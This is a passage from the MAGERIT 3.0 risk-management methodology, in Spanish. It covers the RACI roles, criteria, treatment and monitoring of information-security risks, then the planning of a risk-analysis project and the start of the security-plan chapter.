niveles de seguridad requeridos por el servicio I A R C
análisis de riesgos I I A/R C
declaración de aplicabilidad I I A/R C
aceptación del riesgo residual I A A R I
implantación de las medidas de seguridad I I C A R
supervisión de las medidas de seguridad A C R
Direc- RINF RSER RSE RSI AS

Tarea ción O V G S S
estado de seguridad del sistema I I I A I R
planes de mejora de la seguridad A C
planes de concienciación y formación A C
planes de continuidad C A
seguridad en el ciclo de vida C A
Tabla 6. Matriz RACI - Tareas relacionadas con la gestión de riesgos
Siendo
Dirección – Alta Dirección, Órganos de Gobierno
RINFO – Responsable de la Información
RSERV – Responsable del Servicio
RSEG – Responsable de la Seguridad
RSIS – Responsable (operacional) del Sistema
ASS – Administrador(es) de la Seguridad del Sistema
4.2.2. Contexto
Hay que documentar el entorno externo en el que opera la Organización: cultural, social y político.
Esto incluye tanto aspectos nacionales como internacionales, viniendo marcados por el ámbito de
actividad de la Organización.
Hay que identificar las obligaciones legales, reglamentarias y contractuales. Por ejemplo, suele
haber obligaciones asociadas a
— tratamiento de datos de carácter personal,
— tratamiento de información clasificada,
— tratamiento de información y productos sometidos a derechos de propiedad intelectual
— prestación de servicios públicos
— operación de infraestructuras críticas
— etc.
Hay que identificar el entorno en cuanto competencia y posicionamiento respecto de la competen-
cia.
Hay que identificar el contexto interno en el que se desenvuelve la actividad de la Organización:
política interna, compromisos con los accionistas y con los trabajadores o sus representantes.
La identificación del contexto en el que se desarrolla el proceso de gestión de riesgos debe ser
objeto de una revisión continua para adaptarse a las circunstancias de cada momento.
4.2.3. Criterios
Múltiples aspectos relacionados con los riesgos son objeto de estimaciones. Conviene que las es-
timaciones sean lo más objetivas que sea posible o. al menos, que sean repetibles, explicables y
comparables.
En particular conviene establecer escalas de valoración para
— valorar los requisitos de seguridad de la información
— valorar los requisitos de disponibilidad de los servicios

— estimar la probabilidad de una amenaza
— estimar las consecuencias de un incidente de seguridad
— estimar el nivel de riesgo a partir de las estimaciones de impacto y probabilidad
— … (ver “Libro II – Catálogo de Elementos”)
Hay que establecer reglas y/o criterios para tomar decisiones de tratamiento:
— umbrales de impacto
— umbrales de probabilidad
— umbrales combinados de impacto y probabilidad
— umbrales de nivel de riesgo
— impacto en la reputación de la Organización o de las personas responsables
— impacto en la posición de competencia
— impacto comparado con otras áreas de riesgo: financiero, regulatorio, medioambiental, segu-
ridad industrial, etc
— combinaciones o concurrencia de riesgos que pudieran tener un efecto combinado
— amenazas especialmente sensibles (puede ser por motivos técnicos, porque adolecen de una
amplia incertidumbre o porque su ocurrencia causaría una notable alarma social con grave
daño para la reputación o la continuidad de las operaciones de la Organización, incluso si sus
consecuencia técnicas o materiales son modestas)
— …
4.2.4. Evaluación de los riesgos

Se sigue la metodología descrita en el capítulo anterior.
La primera vez que se ejecuta esta actividad puede ser conveniente lanzar un proyecto específico
de análisis de riesgos. Ver capítulo siguiente.
4.2.5. Decisión de tratamiento

Se pueden tomar las diferentes opciones mencionadas al principio de este capítulo.
Hay múltiples formas de reducir el riesgo:
— eliminar el riesgo eliminando sus causas: información tratada, servicios prestados, arquitectu-
ra del sistema,
— reducir o limitar el impacto
— reducir la probabilidad de que la amenaza ocurra
— en el caso de amenazas derivadas de defectos de los productos (vulnerabilidades técnicas):
reparar el producto (por ejemplo, aplicar los parches del fabricante)
— implantar nuevas salvaguardas o mejorar la calidad de las presentes
— externalizar partes del sistema
— contratar seguros de cobertura
A veces la decisión consiste en aceptar un incremento del riesgo:
— aceptando trabajar con nueva información o prestar nuevos servicios
— alterando la arquitectura del sistema
— reduciendo las salvaguardas presentes
— reduciendo la calidad de las salvaguardas presentes (es decir, dedicando menos recursos)

En última instancia siempre hay que acabar aceptando un cierto riesgo residual, en cuyo caso es
posible que se decide reservar fondos para hacer frente a alguna contingencia.
4.2.6. Comunicación y consulta

Antes de tomar ninguna decisión relativa al tratamiento de un riesgo hay que entender para qué
se usa el sistema y cómo se usa.
Esto quiere decir mantener un contacto fluido con varios actores
— los órganos de gobierno y decisión, pues toda decisión debe estar alineada con la misión de
la Organización
— los usuarios y técnicos de sistemas, pues toda decisión debe tener en cuenta su impacto en
la productividad y sobre la usabilidad del sistema
— los proveedores, pues toda decisión debe contar con su colaboración
Hay que tener en cuenta que cualquier medida de seguridad que merme la productividad, dificulte
la operación del sistema, o requiera una elaborada formación de los usuarios, está condenada al
fracaso,
Toda medida de seguridad debe estar
— apoyada por la Dirección
— amparada por la Política de Seguridad de la Organización
— apoyada por normativa clara y legible, ampliamente divulgada
— explicada de forma breve, clara y directa en procedimientos operativos de seguridad
Por último es interesante disponer de indicadores que midan el grado de aceptación por parte de los
usuarios, identificando tanto el grado de cumplimiento como los problemas que causa su seguimiento.
4.2.7. Seguimiento y revisión

El análisis de los riesgos es un ejercicio formal, basado en múltiples estimaciones y valoraciones
que pueden no compadecerse con la realidad. Es absolutamente necesario que el sistema esté
bajo monitorización permanente. Los indicadores de impacto y riesgo potenciales son útiles para
decidir qué puntos deben ser objeto de monitorización.
Y debe estar preparado un sistema de detección precoz de posibles incidentes (en base a indica-
dores predictivos) así como un sistema de reacción a incidentes de seguridad.
Se procurará disponer de un conjunto de indicadores clave de riesgo (KRI – Key Risk Indicators).
Estos indicadores:
o son propuestos por el Responsable de la Seguridad;
o su definición es acordada por el Responsable de la Seguridad y el propietario del
riesgo; la definición indicará exactamente:
— en qué medidas se basan,
— cuál es el algoritmo de cálculo,
— la periodicidad de evaluación y
— los umbrales de aviso y alarma (atención urgente)
o se le presentan al responsable correspondiente
— rutinariamente, con la periodicidad establecida,
— puntualmente, por demanda del propietario del riesgo medido,
— y extraordinariamente cuando se supera un umbral de riesgo
o estos indicadores estarán a disposición de los auditores

La responsabilidad de monitorizar un riesgo recae en su propietario, sin perjuicio de que la función
puede ser delegada en el día a día, retomando el control de la situación cuando hay que tomar
medidas para atajar un riesgo que se ha salido de los márgenes tolerables.
Cada vez que la realidad difiere de nuestras estimaciones conviene hacer un ciclo de revisión del
análisis y las decisiones de tratamiento.
Servicios subcontratados
Cuando dependemos de terceros es especialmente importante conocer el desempeño de nues-
tros proveedores, tanto con un buen sistema de reporte, escalado y resolución de los incidentes
de seguridad, como en el establecimiento de indicadores predictivos. Del análisis de dependen-
cias realizado durante el análisis de riesgos, tenemos información de en qué medida y en qué di-
mensiones de seguridad dependemos de cada proveedor externo. De esta información se sigue
qué elementos debemos monitorizar para asegurarnos que satisfacen nuestros requisitos de se-
guridad.
4.3. Documentación del proceso

Documentación interna
• Definición de roles, funciones y esquemas de reporte
• Criterios de valoración de la información
• Criterios de valoración de los servicios
• Criterios de evaluación de los escenarios de impacto y riesgo
Documentación para otros

• Plan de Seguridad
4.4. Indicadores de control del proceso de gestión de riesgos

√ actividad tarea
Se han definido los roles y responsabilidades respecto de la gestión de riesgos 4.2.1
Se ha establecido el contexto de gestión de riesgos 4.2.2
Se han establecido los criterios de valoración de riesgos y toma de decisiones de tra- 4.2.3
tamiento
Se han interpretado los riesgos residuales en términos de impacto en el negocio o mi- 4.2.4
sión de la Organización
Se han identificado y valorado opciones de tratamiento de los riesgos residuales 4.2.5

(propuesta de programas de seguridad)
Los órganos de gobierno han adoptado una propuesta de tratamiento 4.2.5

— evitar el riesgo
— prevenir: mitigar la probabilidad de que ocurra
— mitigar el impacto si ocurriera
— compartir el riesgo con un tercero
— asumir el riesgo
Se han previsto recursos para acometer el plan de seguridad 4.2.5

√ actividad tarea
Se han previsto recursos para atender a contingencias 4.2.5
Se han comunicado las decisiones a las partes afectadas 4.2.6
Se ha desplegado un sistema de monitorización constante para detectar modificacio- 4.2.7

nes en los supuestos de análisis de riesgos
Se han establecido las normas y procedimientos de actuación en caso de detectar 4.2.7

desviaciones de los supuestos

5. Proyectos de análisis de riesgos

Las actividades de análisis de riesgo son recurrentes dentro del proceso de gestión, ya que hay
que estar continuamente revisando el análisis y manteniéndolo al día. Podemos llamar ‘análisis de
riesgos marginales’ a las salidas de estas actividades que, generalmente, requieren poco volumen
de trabajo en cada iteración.
Pero antes de pasar a las iteraciones marginales, hay que disponer de un análisis de riesgos que
sirva de plataforma de trabajo. Esto ocurre la primera vez que se realiza un análisis de riesgos y
cuando la política de la organización marque que se prepare una nueva plataforma, sea por razo-
nes formales o porque los cambios acumulados justifican una revisión completa.
Cuando se realiza un análisis de riesgos partiendo de cero, se consumen una serie de recursos
apreciables y conviene planificar estas actividades dentro de un proyecto, sea interno o se sub-
contrate a una consultora externa.
En esta sección se presentan las consideraciones que se deben tener en cuenta para que este
proyecto llegue a buen término.
PAR.1 – Actividades preliminares
PAR.2 – Elaboración del análisis de riesgos
PAR.3 – Comunicación de resultados
5.1. Roles y funciones

Durante la ejecución del proyecto es frecuente que se creen algunos roles específicos para llevar
el proyecto a buen fin.
Comité de Seguimiento
Está constituido por los responsables de las unidades afectadas por el proyecto; así como
por los responsables de la informática y de la gestión dentro de dichas unidades. También
será importante la participación de los servicios comunes de la Organización (planificación,
presupuesto, recursos humanos, administración, etc.) En cualquier caso la composición del
comité depende de las características de las unidades afectadas.
Las responsabilidades de este comité consisten en
• resolver las incidencias durante el desarrollo del proyecto
• asegurar la disponibilidad de recursos humanos con los perfiles adecuados y su par-
ticipación en las actividades donde es necesaria su colaboración
• aprobar los informes intermedios y finales de cada proceso
• elaborar los informes finales para el comité de dirección
Este comité se suele nombrar por el Comité de Seguridad de la Información, y dicho comité
reporta el avance del proyecto. A veces el Comité de Seguimiento toma la forma de sub-
comité del Comité de Seguridad de la Información.
Equipo de proyecto
Formado por personal experto en tecnologías y sistemas de información y personal técnico
cualificado del dominio afectado, con conocimientos de gestión de seguridad en general y de
la aplicación de la metodología de análisis y gestión de riesgos en particular. Si el proyecto
se hace con asistencia técnica mediante contratación externa, el subsiguiente personal es-
pecialista en seguridad de sistemas de información se integrará en este equipo de proyecto.
Las responsabilidades de este equipo consisten en
• llevar a cabo las tareas del proyecto
• recopilar, procesar y consolidar datos
• elaborar los informes
El Equipo de Proyecto reporta al Comité de Seguimiento a través del Director del Proyecto.
Grupos de Interlocutores
Está formado por usuarios representativos dentro de las unidades afectadas por el proyecto.
Lo constituyen varios posibles subgrupos:
• Responsables de servicio, conscientes de la misión de la Organización y sus estra-
tegias a medio y largo plazo
• Responsables de servicios internos
• Personal de explotación y operación de los servicios informáticos, conscientes de los
medios desplegados (de producción y salvaguardas) y de las incidencias habituales
Además de dichos órganos colegiados, hay que identificar algunos roles singulares:
Promotor
Es una figura singular que lidera las primeras tareas del proyecto, perfilando su oportunidad
y alcance para lanzar el proyecto de análisis de riesgos propiamente dicho.
Debe ser una persona con visión global de los sistemas de información y su papel en las ac-
tividades de la Organización, sin necesidad de conocer los detalles; pero si al tanto de las
incidencias.
Director del Proyecto
Debe ser un directivo de alto nivel, con responsabilidades en seguridad dentro de la Organi-
zación, de sistemas de información o, en su defecto, de planificación, de coordinación o de
materias, servicios o áreas semejantes.
Es la cabeza visible del equipo de proyecto e interlocutor con el Responsable de la Seguri-
dad de la Organización..
Enlace operacional
Será una persona de la Organización con buen conocimiento de las personas y de las uni-
dades implicadas en el proyecto, que tenga capacidad para conectar al equipo de proyecto
con el grupo de usuarios.
Es el interlocutor visible del comité de seguimiento con los grupos de usuarios.
Conviene recordar que un proyecto de análisis de riesgos siempre es mixto por su propia natura-
leza; es decir, requiere la colaboración permanente de especialistas y usuarios tanto en las fases
preparatorias como en su desarrollo. La figura del enlace operacional adquiere una relevancia
permanente que no es habitual en otro tipo de proyectos más técnicos.
El proyecto de análisis de los riesgos se lleva a cabo por medio de las siguientes tareas:
PAR – Proyecto de Análisis de Riesgos

PAR.1 – Actividades preliminares
PAR.11 – Estudio de oportunidad
PAR.12 – Determinación del alcance del proyecto
PAR.13 – Planificación del proyecto
PAR.14 – Lanzamiento del proyecto
PAR.2 – Elaboración del análisis de riesgos
PAR.3 – Comunicación de resultados

5.2. PAR.1 – Actividades preliminares

Tarea PAR.11: Estudio de oportunidad
Se fundamenta la oportunidad de la realización, ahora, del proyecto de análisis de riesgos,
enmarcándolo en el desarrollo de las demás actividades de la Organización.
El resultado de esta actividad es el informe denominado “preliminar”.
Tarea PAR.12: Determinación del alcance del proyecto

Se definen los objetivos finales del proyecto, su dominio y sus límites.
El resultado de esta actividad es un perfil de proyecto de análisis de riesgos.
Tarea PAR.13: Planificación del proyecto

Se determinan las cargas de trabajo que supone la realización del proyecto. Normalmente la
evolución del proyecto viene marcada por una serie de entrevistas con los interlocutores que
conocen la información relativa a algún activo o grupo de activos del sistema bajo análisis.
Se planifican las entrevistas que se van a realizar para la recogida de información: quiénes
van a ser entrevistados. Se elabora el plan de trabajo para la realización del proyecto.
En esta actividad se determinan los participantes y se estructuran los diferentes grupos y
comités para llevar a cabo el proyecto.
El resultado de esta actividad está constituido por:
• un plan de trabajo para el proyecto
• procedimientos de trabajo
Tarea PAR.14: Lanzamiento del proyecto

Se adaptan los cuestionarios para la recogida de información adaptándolos al proyecto pre-
sente. Para ello se parte de los criterios establecidos dentro del Proceso de Gestión de
Riesgos.
También se realiza una campaña informativa de sensibilización a los afectados sobre las fi-
nalidades y requerimientos de su participación.
El resultado de esta actividad está constituido por:
• los cuestionarios para las entrevistas
• el catálogo de tipos de activos
• la relación de dimensiones de seguridad y
• los criterios de valoración
5.2.1. Tarea PAR.11: Estudio de oportunidad
PAR: Proyecto de análisis de riesgos

PAR.1: Actividades preliminares
PAR.11: Determinar la oportunidad
Objetivos
• Identificar o suscitar el interés de la Dirección de la Organización en la realización de un
proyecto de análisis de riesgos


PAR.11: Determinar la oportunidad
Productos de salida
• Informe preliminar recomendando la elaboración del proyecto
• Sensibilización y apoyo de la Dirección a la realización del proyecto
• Creación del comité de seguimiento

•
Participantes
• El promotor
La Dirección suele ser muy consciente de las ventajas que aportan las técnicas electrónicas, in-
formáticas y telemáticas a su funcionamiento; pero no tanto de los nuevos problemas de seguri-
dad que estas técnicas implican, o de las obligaciones legales o reglamentarias que les afectan
En toda Organización pública o privada es importante transformar en medidas concretas la cre-
ciente preocupación por la falta de seguridad de los sistemas de información, por su soporte y en-
torno, puesto que sus efectos no sólo afectan a dichos sistemas, sino al propio funcionamiento de
la Organización y, en las situaciones críticas, a su propia misión y capacidad de supervivencia.
Desarrollo
La iniciativa para la realización de un proyecto de análisis de riesgos parte de un promotor interno
o externo a la Organización, consciente de los problemas relacionados con la seguridad de los
sistemas de información, como por ejemplo:
• Incidentes continuados relacionados con la seguridad.
• Inexistencia de previsiones en cuestiones relacionadas con la evaluación de necesidades y
medios para alcanzar un nivel aceptable de seguridad de los sistemas de información que
sea compatible con el cumplimiento correcto de la misión y funciones de la Organización.
• Reestructuraciones en los productos o servicios proporcionados.
• Cambios en la tecnología utilizada.
• Desarrollo de nuevos sistemas de información.
El promotor puede elaborar un cuestionario-marco (documento poco sistematizable que deberá
crear en cada caso concreto) para provocar la reflexión sobre aspectos de la seguridad de los sis-
temas de información por parte de :
Los responsables de las unidades operativas (responsables de servicios).
El cuestionario permite proceder a un examen informal de la situación en cuanto a la seguri-
dad de sus sistemas de información; deben poder expresar su opinión por los proyectos de
seguridad ya realizados (con su grado de satisfacción o con las limitaciones de éstos), así
como sus expectativas ante la elaboración de un proyecto de análisis de riesgos 25 . Esta
aproximación de alto nivel permite obtener una primera visión de los objetivos concretos y
las opciones que tendrían que subyacer a la elaboración del proyecto.
25 Probablemente no se conozca lo que esto significa y haya que incluir en el cuestionario marco una sucin-
ta explicación de qué es y qué objetivos persigue el análisis de riesgos en general y el proyecto en parti-
cular.
Los responsables de informática.
El cuestionario permite obtener una panorámica técnica para la elaboración del proyecto y
posibilita abordar el estudio de oportunidad de realización, tras integrar las opciones anterio-
res.
De las respuestas al cuestionario-marco y de las entrevistas mantenidas con los responsables y
colectivos anteriores, el promotor obtiene una primera aproximación sobre las funciones, los servi-
cios y los productos implicados en cuestiones de seguridad de los sistemas de información, la ubi-
cación geográfica de aquéllos, los medios técnicos, los medios humanos, etc.
Con estos elementos el promotor realiza el informe preliminar recomendando la elaboración del
proyecto de análisis de riesgos e incluyendo estos elementos:
• Exposición de los argumentos básicos.
• Relación de antecedentes sobre la seguridad de los sistemas de información (Plan Estraté-
gico, Plan de Actuación, etc.).
• Primera aproximación al dominio a incluir en el proyecto en función de
• las finalidades de las unidades o departamentos
• las orientaciones gerenciales y técnicas
• la estructura de la Organización
• el entorno técnico.
• Primera aproximación de los medios, tanto humanos como materiales, para la realización
del proyecto.
El promotor presenta este informe preliminar a la Dirección que puede decidir:
• aprobar el proyecto, o bien
• modificar su dominio y/o sus objetivos, o bien
• retrasar el proyecto.
5.2.2. Tarea PAR.12: Determinación del alcance del proyecto

Una vez que se ha constatado la oportunidad de realizar el proyecto y se cuenta con el apoyo de
la Dirección, esta actividad estima los elementos de planificación del proyecto, es decir los partici-
pantes y sus cargas de trabajo.
En dicha estimación se ha de tener en cuenta la posible existencia de otros planes (por ejemplo
un Plan Estratégico de Sistemas de Información o de Seguridad general en las unidades que pue-
den ser afectadas o en la Organización) y el plazo de tiempo considerado para la puesta en prác-
tica del proyecto. En particular, la existencia de un Plan Estratégico de Sistemas de Información
para las unidades que pueden ser afectadas dentro de la Organización puede determinar en gran
medida el alcance y la extensión de las actividades que se realicen en esta actividad.

PAR.12: Determinación del alcance del proyecto
Objetivos
• Determinar los objetivos del proyecto, diferenciados según horizontes temporales a corto y
medio plazo
• Determinar las restricciones generales que se imponen sobre el proyecto
• Determinar el dominio, alcance o perímetro del proyecto


PAR.12: Determinación del alcance del proyecto
• Recopilación de la documentación pertinente de la Organización
Productos de salida
• Especificación detallada de los objetivos del proyecto
• Relación de restricciones generales
• Relación de unidades de la Organización que se verán afectadas como parte del proyecto
• Lista de roles relevantes en la unidades incluidas en el alcance del proyecto
• los activos esenciales
• los puntos de interconexión con otros sistemas
• los proveedores externos

• Reuniones
• 31010:B.1: Brainstorming
• 31010:B.2: Structured or semi-structured interviews
• 31010:B.3: Delphi technique
Participantes
• El comité de seguimiento
Un proyecto de análisis de riesgos puede perseguir objetivos a muy corto plazo tales como el ase-
guramiento de cierto sistema o un cierto proceso de negocio, o puede pretender objetivos más
amplios como fuera el análisis global de la seguridad de la Organización. En todo caso, hay que
determinarlo.
Especialmente a la hora de tomar acciones correctoras, hay que tener en cuenta que “no todo va-
le”, sino que el proyecto se encontrará con una serie de restricciones, no necesariamente técni-
cas, que establecen un marco al que atenerse. Para incorporar las restricciones al análisis y ges-
tión de riesgos, estas se agrupan por distintos conceptos, típicamente:
Restricciones políticas o gerenciales
Típicas de organizaciones gubernamentales o fuertemente relacionadas con organismos
gubernamentales, bien como proveedores o como suministradores de servicios.
Restricciones estratégicas
Derivadas de la evolución prevista de la estructura u objetivos de la Organización.
Restricciones geográficas
Derivadas de la ubicación física de la Organización o de su dependencia de medios físicos
de comunicaciones. Islas, emplazamientos fuera de las fronteras, etc.
Restricciones temporales
Que toman en consideración situaciones coyunturales: conflictividad laboral, crisis interna-
cional, cambio de la propiedad, reingeniería de procesos, etc.
Restricciones estructurales
Tomando en consideración la organización interna: procedimientos de toma de decisiones,
dependencia de casas matrices internacionales, etc.
Restricciones funcionales
Que tienen en cuenta los objetivos de la Organización.
Restricciones legales
Leyes, reglamentos, regulaciones sectoriales, contratos externos e internos, etc.
Restricciones relacionadas con el personal
Perfiles laborales, compromisos contractuales, compromisos sindicales, carreras profesiona-
les, etc.
Restricciones metodológicas
Derivadas de la naturaleza de la organización y sus hábitos o habilidades de trabajo que
pueden imponer una cierta forma de hacer las cosas.
Restricciones culturales
La “cultura” o forma interna de trabajar puede ser incompatible con ciertas salvaguardas teó-
ricamente ideales.
Restricciones presupuestarias
La cantidad de dinero es importante; pero también la forma de planificar el gasto y de ejecu-
tar el presupuesto
Alcance
Esta tarea identifica las unidades objeto del proyecto y especifica las características generales de
dichas unidades en cuanto a responsables, servicios proporcionados y ubicaciones geográficas.
También identifica las principales relaciones de las unidades objeto del proyecto con otras entida-
des, por ejemplo el intercambio de información en diversos soportes, el acceso a medios informá-
ticos comunes, etc.
La tarea presume un principio básico: el análisis y la gestión de riesgos debe centrarse en
un dominio limitado, que puede incluir varias unidades o mantenerse dentro de una sola uni-
dad (según la complejidad y el tipo de problema a tratar), ya que un proyecto de ámbito de-
masiado amplio o indeterminado podría ser inabarcable, por excesivamente generalista o
por demasiado extendido en el tiempo, con perjuicio en las estimaciones de los elementos
del análisis.
Para que el alcance quede determinado debemos concretar:
— los activos esenciales: información que se maneja y servicios que se prestan
— los puntos de intercambio de interconexión con otros sistemas, aclarando qué información
se intercambia y qué servicios se prestan mutuamente
— los proveedores externos en los que se apoya nuestro sistema de información

5.2.3. Tarea PAR.13: Planificación del proyecto
Proyecto de análisis de riesgos

PAR.13: Planificación del proyecto
Objetivos
• Definir los grupos de interlocutores: usuarios afectados en cada unidad
• Planificar las entrevistas de recogida de información
• Determinar el volumen de recursos necesarios para la ejecución del proyecto: humanos,
temporales y financieros
• Elaborar el calendario concreto de realización de las distintas etapas, actividades y tareas
del proyecto
• Establecer un calendario de seguimiento que defina las fechas tentativas de reuniones del
comité de dirección, el plan de entregas de los productos del proyecto, las posibles modifi-
caciones en los objetivos marcados, etc
• Resultados de la actividad A1.2, Determinación del alcance del proyecto
Productos de salida
• Relación de participantes en los grupos de interlocutores
• Plan de entrevistas
• Informe de recursos necesarios
• Informe de cargas

• Planificación de proyectos
Participantes
• El director de proyecto
• El comité de seguimiento
El plan de entrevistas debe detallar a qué persona se va a entrevistar, cuándo y con qué objetivo.
Este plan permite determinar la carga que el proyecto va a suponer para las unidades afectadas,
bien del dominio, bien del entorno.
El plan de entrevistas es especialmente importante cuando los sujetos a entrevistar se hayan
en diferentes localizaciones geográficas y la entrevista requiere el desplazamiento de una o
ambas partes.
También conviene ordenar las entrevistas de forma que primero se recaben las opiniones más
técnicas y posteriormente las gerenciales, de forma que el entrevistador pueda evolucionar las
preguntas tomando en consideración hechos (experiencia histórica) antes que valoraciones y
perspectivas de servicio a terceros.
5.2.4. Tarea PAR.14: Lanzamiento del proyecto

Esta actividad completa las tareas preparatorias del lanzamiento del proyecto: empezando por se-
leccionar y adaptar los cuestionarios que se utilizarán en la recogida de datos y por realizar la
campaña informativa de sensibilización a los implicados.
Proyecto de análisis de riesgos

PAR.14: Lanzamiento del proyecto
Objetivos
• Disponer de los elementos de trabajo para acometer el proyecto
• Marco de trabajo establecido en el Proceso de Gestión de Riesgos: criterios y relaciones
con las partes afectadas
Productos de salida
• Cuestionarios adaptados
• Determinar el catálogo de tipos de activos
• Determinar las dimensiones de valoración de activos
• Determinar los niveles de valoración de activos, incluyendo una guía unificada de criterios
para asignar un cierto nivel a un cierto activo
• Determinar los niveles de valoración de las amenazas: frecuencia y degradación
• Asignar los recursos necesarios (humanos, de organización, técnicos, etc.) para la realiza-
ción del proyecto
• Informar a las unidades afectadas
• Crear un ambiente de conocimiento general de los objetivos, responsables y plazos

• Cuestionarios (ver "Catálogo de Elementos")
Participantes
• El director del proyecto
• El equipo de proyecto
La tarea adapta los cuestionarios a utilizar en la recogida de información en el proceso P1 en fun-

ción de los objetivos del proyecto, del dominio y de los temas a profundizar con los usuarios.
Los cuestionarios se adaptan con el objetivo de identificar correctamente los elementos de trabajo:
activos, amenazas, vulnerabilidades, impactos, salvaguardas existentes, restricciones generales,
etc. en previsión de las necesidades de las actividades A2.1 (caracterización de los activos), A2.2
(caracterización de las amenazas) y A2.3 (caracterización de las salvaguardas).
La necesidad de una adaptación siempre existe (debido al amplísimo espectro de los problemas
de seguridad que puede y debe tratar Magerit). Pero el grado mayor o menor de adaptación de-
pende además de las condiciones en que se realice la explotación de dichos cuestionarios. No
habrá la misma profundidad de adaptación para entrevistas guiadas por el especialista en seguri-
dad, que para cuestionarios auto administrados por el responsable del dominio o por los usuarios
de sus sistemas de información.
5.3. PAR.2 – Elaboración del análisis de riesgos

Se siguen los pasos del método descrito en el capítulo X anterior.
La mayor parte de las tareas requerirán dos o tres entrevistas con los interlocutores apropiados:
— una primera entrevista para exponer las necesidades y recabar los datos
— una segunda entrevista para validar que los datos son completos y se han entendido correc-
tamente
— según las circunstancias puede ser necesaria alguna entrevista adicional si la validación le-
vanta muchas inexactitudes o dudas
El todas estas tareas debe procurarse manejar documentación escrita sometida a un proceso for-
mal de gestión; es decir, aprobada y con unos procedimientos de revisión continua. La información
de carácter verbal o informal debe limitarse a facilitar la comprensión, no a transmitir elementos
sustanciales que no están documentados en parte alguna.
5.4. PAR.3 – Comunicación de resultados

La salida de la fase de análisis es la entrada de la fase de tratamiento. Para la tomar decisiones
de tratamiento es necesario conocer tanto los indicadores residuales como los indicadores poten-
ciales de impacto y riesgo. Y para cada escenario de riesgo es necesario disponer de información
suficiente para poder entender en qué consiste el riesgo, así como su dinámica y los razonamien-
tos o la base de las estimaciones empleadas para derivar resultados. No basta conocer el valor
final del indicador, sino que hay que poder analizar el por qué de ese valor.
Por otra parte, las decisiones de tratamiento pueden requerir la realización de modificaciones del
análisis de riesgo. Frecuentemente es necesario analizar situaciones hipotéticas (¿qué ocurriría si
…?) para poder optar por una decisión u otra. Es por ello que es fundamental el soporte de
herramientas que automaticen el cálculo.
Para el informe ejecutivo final basta destacar gráficamente los escenarios de mayor impacto, de
mayor nivel de riesgo y combinaciones peligrosas de ambos indicadores (ver los cuadrantes o zo-
nas más arriba).
5.5. Control del proyecto

5.5.1. Hitos de control
Hito de control H1.1:
La Dirección procederá a la aprobación o no de la realización del proyecto de análisis de
riesgos, basándose en el estudio de oportunidad realizado por el promotor.
Hito de control H1.2:
El comité de seguimiento del proyecto validará el informe de "Planificación del Proyecto de
Análisis de Riesgos" que contendrá una síntesis de los productos obtenidos en las activida-
des realizadas en el proceso P1.
5.5.2. Documentación resultante

Documentación intermedia
• Resultados de las entrevistas.
• Documentación de otras fuentes: estadísticas, observaciones de expertos y observaciones
de los analistas.
• Documentación auxiliar: planos, organigramas, requisitos, especificaciones, análisis funcio-
nales, cuadernos de carga, manuales de usuario, manuales de explotación, diagramas de
flujo de información y de procesos, modelos de datos, etc.
• Análisis de los resultados, con la detección de las áreas críticas claves.
• Información existente utilizable por el proyecto (por ejemplo inventario de activos)
• Resultados de posibles aplicaciones de métodos de análisis y gestión de riesgos realizadas
anteriormente (por ejemplo catalogación, agrupación y valoración de activos, amenazas,
vulnerabilidades, impactos, riesgo, mecanismos de salvaguarda, etc.).
Documentación final
• Modelo de valor: identificación de activos junto con sus dependencias y valoración propia y
acumulada
• Mapa de amenazas junto con sus consecuencias y probabilidad de ocurrencia.
• Documento de aplicabilidad de las salvaguardas.
• Informe de valoración de la efectividad de las salvaguardas presentes.
• Informe de insuficiencias o debilidades del sistema de salvaguardas.
• Indicadores de impacto y riesgo, potenciales y residuales.

Magerit 3.0 Plan de seguridad
6. Plan de seguridad
Esta sección trata de cómo llevar a cabo planes de seguridad, entendiendo por tales proyectos
para materializar las decisiones adoptadas para el tratamiento de los riesgos.
Estos planes reciben diferentes nombres en diferentes contextos y circunstancias:
• plan de mejora de la seguridad
• plan director de seguridad
• plan estratégico de seguridad
• plan de adecuación (en concreto es el nombre que se usa en el ENS)
Se identifican 3 tareas:
PS – Plan de Seguridad
PS.1 – Identificación de proyectos de seguridad
PS.2 – Plan de ejecución
PS.3 – Ejecución
6.1. Tarea PS.1: Identificación de proyectos de seguridad

Se traducen las decisiones de tratamiento de los riesgos en acciones concretas.
PS: Plan de seguridad
PS.1: Identificación de proyectos de seguridad
Objetivos
• Elaborar un conjunto armónico de programas de seguridad
• Resultados de las actividades de análisis y tratamiento de riesgos
• Conocimientos de técnicas y productos de seguridad
• Catálogos de productos y servicios de seguridad
Productos de salida
• Relación de programas de seguridad
Participantes
• El equipo de proyecto
• Especialistas en seguridad
• Especialistas en áreas específicas de seguridad
En última instancia se trata de implantar o mejorar la implantación de una serie de salvaguardas

que lleven impacto y riesgo a los niveles residuales determinados por la Dirección. Este tratamien-
to de las salvaguardas se materializa en una serie de tareas a llevar a cabo.
Un programa de seguridad es una agrupación de tareas. La agrupación se realiza por convenien-
cia, bien porque se trata de tareas que en singular carecerían de eficacia, bien porque se trata de

tareas con un objetivo común, bien porque se trata de tareas que competen a una única unidad de
acción.
Cada programa de seguridad debe detallar:
• Su objetivo genérico.
• Las salvaguardas concretas a implantar o mejorar, detallando sus objetivos de calidad, efi-
cacia y eficiencia
• La relación de escenarios de impacto y/o riesgo que afronta: activos afectados, tipos de acti-
vos, amenazas afrontadas, valoración de activos y amenazas y niveles de impacto y riesgo
• La unidad responsable de su ejecución.
• Una estimación de costes, tanto económicos como de esfuerzo de realización, teniendo en
cuenta:
• costes de adquisición (de productos), o de contratación (de servicios), o de desarrollo (de
soluciones llave en mano), pudiendo ser necesario evaluar diferentes alternativas
• costes de implantación inicial y mantenimiento en el tiempo
• costes de formación, tanto de los operadores como de los usuarios, según convenga al
caso
• costes de explotación
• impacto en la productividad de la Organización
• Una relación de subtareas a afrontar, teniendo en cuenta
• cambios en la normativa y desarrollo de procedimientos
• solución técnica: programas, equipos, comunicaciones e instalaciones,
• plan de despliegue
• plan de formación
• Una estimación del tiempo de ejecución desde su arranque hasta su puesta en operación.
• Una estimación del estado de riesgo (impacto y riesgo residual a su compleción).
• Un sistema de indicadores de eficacia y eficiencia que permitan conocer en cada momento
la calidad del desempeño de la función de seguridad que se desea y su evolución temporal.
Las estimaciones anteriores pueden ser muy precisas en los programas sencillos; pero pueden
ser simplemente orientativas en los programas complejos que conlleven la realización de un pro-
yecto específico de seguridad. En este último caso, cada proyecto desarrollará los detalles últimos
por medio de una serie de tareas propias de cada proyecto que, en líneas generales responderán
a los siguientes puntos:
• Estudio de la oferta del mercado: productos y servicios.
• Coste de un desarrollo específico, propio o subcontratado.
